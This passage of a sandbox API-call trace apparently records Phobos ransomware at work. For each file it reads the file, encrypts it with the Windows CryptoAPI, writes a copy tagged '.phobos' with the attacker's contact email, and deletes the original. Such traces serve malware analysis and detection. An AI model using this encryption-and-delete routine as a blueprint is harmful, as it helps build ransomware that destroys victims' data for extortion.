(lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.464] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=80060) returned 1 [0045.464] CloseHandle (hObject=0x334) returned 1 [0045.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0045.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.464] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.464] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.464] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.464] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.465] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0045.465] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.465] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x138bc, lpOverlapped=0x0) returned 1 [0045.492] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x138c0, dwBufLen=0x138c0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x138c0) returned 1 [0045.492] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x138c0, lpOverlapped=0x0) returned 1 [0045.702] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc90) returned 1 [0045.702] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.702] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0045.702] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0045.702] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0045.702] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0045.702] CloseHandle (hObject=0x334) returned 1 [0045.702] CloseHandle (hObject=0x330) returned 1 [0045.704] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0045.706] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.706] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.707] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=68226) returned 1 [0045.707] CloseHandle (hObject=0x330) returned 1 [0045.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0045.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.707] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.707] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.707] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.707] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.707] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0045.707] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.707] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x10a82, lpOverlapped=0x0) returned 1 [0045.722] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x10a90, dwBufLen=0x10a90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x10a90) returned 1 [0045.722] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x10a90, lpOverlapped=0x0) returned 1 [0045.724] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0045.724] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.724] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0045.724] CryptDestroyKey (hKey=0x10dc610) returned 1 [0045.724] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0045.724] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0045.724] CloseHandle (hObject=0x330) returned 1 [0045.724] CloseHandle (hObject=0x334) returned 1 [0045.726] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0045.727] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.727] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.727] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=65238) returned 1 [0045.727] CloseHandle (hObject=0x334) returned 1 [0045.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0045.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.727] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.727] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.728] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.728] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.728] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc590) returned 1 [0045.728] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.728] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xfed6, lpOverlapped=0x0) returned 1 [0045.790] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfee0, dwBufLen=0xfee0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfee0) returned 1 [0045.790] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xfee0, lpOverlapped=0x0) returned 1 [0045.792] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc890) returned 1 [0045.792] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.792] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0045.792] CryptDestroyKey (hKey=0x10dc890) returned 1 [0045.792] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0045.792] CryptDestroyKey (hKey=0x10dc590) returned 1 [0045.792] CloseHandle (hObject=0x334) returned 1 [0045.792] CloseHandle (hObject=0x330) returned 1 [0045.795] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0045.796] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.796] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.800] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=79634) returned 1 [0045.801] CloseHandle (hObject=0x330) returned 1 [0045.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0045.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.807] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.807] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.807] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.808] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.813] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc890) returned 1 [0045.813] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.813] ReadFile (in: hFile=0x314, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x13712, lpOverlapped=0x0) returned 1 [0045.824] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13720, dwBufLen=0x13720 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13720) returned 1 [0045.824] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x13720, lpOverlapped=0x0) returned 1 [0045.826] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc950) returned 1 [0045.826] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.826] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0045.826] CryptDestroyKey (hKey=0x10dc950) returned 1 [0045.826] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0045.826] CryptDestroyKey (hKey=0x10dc890) returned 1 [0045.826] CloseHandle (hObject=0x314) returned 1 [0045.826] CloseHandle (hObject=0x320) returned 1 [0045.828] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0045.829] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.829] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.830] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3046) returned 1 [0045.830] CloseHandle (hObject=0x320) returned 1 [0045.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0045.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.830] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.830] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.830] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.830] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.830] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc950) returned 1 [0045.830] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.830] ReadFile (in: hFile=0x320, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xbe6, lpOverlapped=0x0) returned 1 [0045.898] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbf0, dwBufLen=0xbf0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbf0) returned 1 [0045.899] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xbf0, lpOverlapped=0x0) returned 1 [0045.900] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc6d0) returned 1 [0045.900] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.900] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0045.900] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0045.900] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0045.900] CryptDestroyKey (hKey=0x10dc950) returned 1 [0045.900] CloseHandle (hObject=0x320) returned 1 [0045.901] CloseHandle (hObject=0x314) returned 1 [0045.901] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0045.902] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.902] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.903] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4040) returned 1 [0045.903] CloseHandle (hObject=0x314) returned 1 [0045.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0045.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.903] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.903] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.903] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.903] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.904] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc550) returned 1 [0045.904] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.904] ReadFile (in: hFile=0x314, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xfc8, lpOverlapped=0x0) returned 1 [0045.926] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfd0, dwBufLen=0xfd0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfd0) returned 1 [0045.926] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xfd0, lpOverlapped=0x0) returned 1 [0045.927] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc710) returned 1 [0045.927] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.927] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0045.927] CryptDestroyKey (hKey=0x10dc710) returned 1 [0045.927] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0045.928] CryptDestroyKey (hKey=0x10dc550) returned 1 [0045.928] CloseHandle (hObject=0x314) returned 1 [0045.928] CloseHandle (hObject=0x320) returned 1 [0045.928] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0045.929] CryptGenRandom (in: 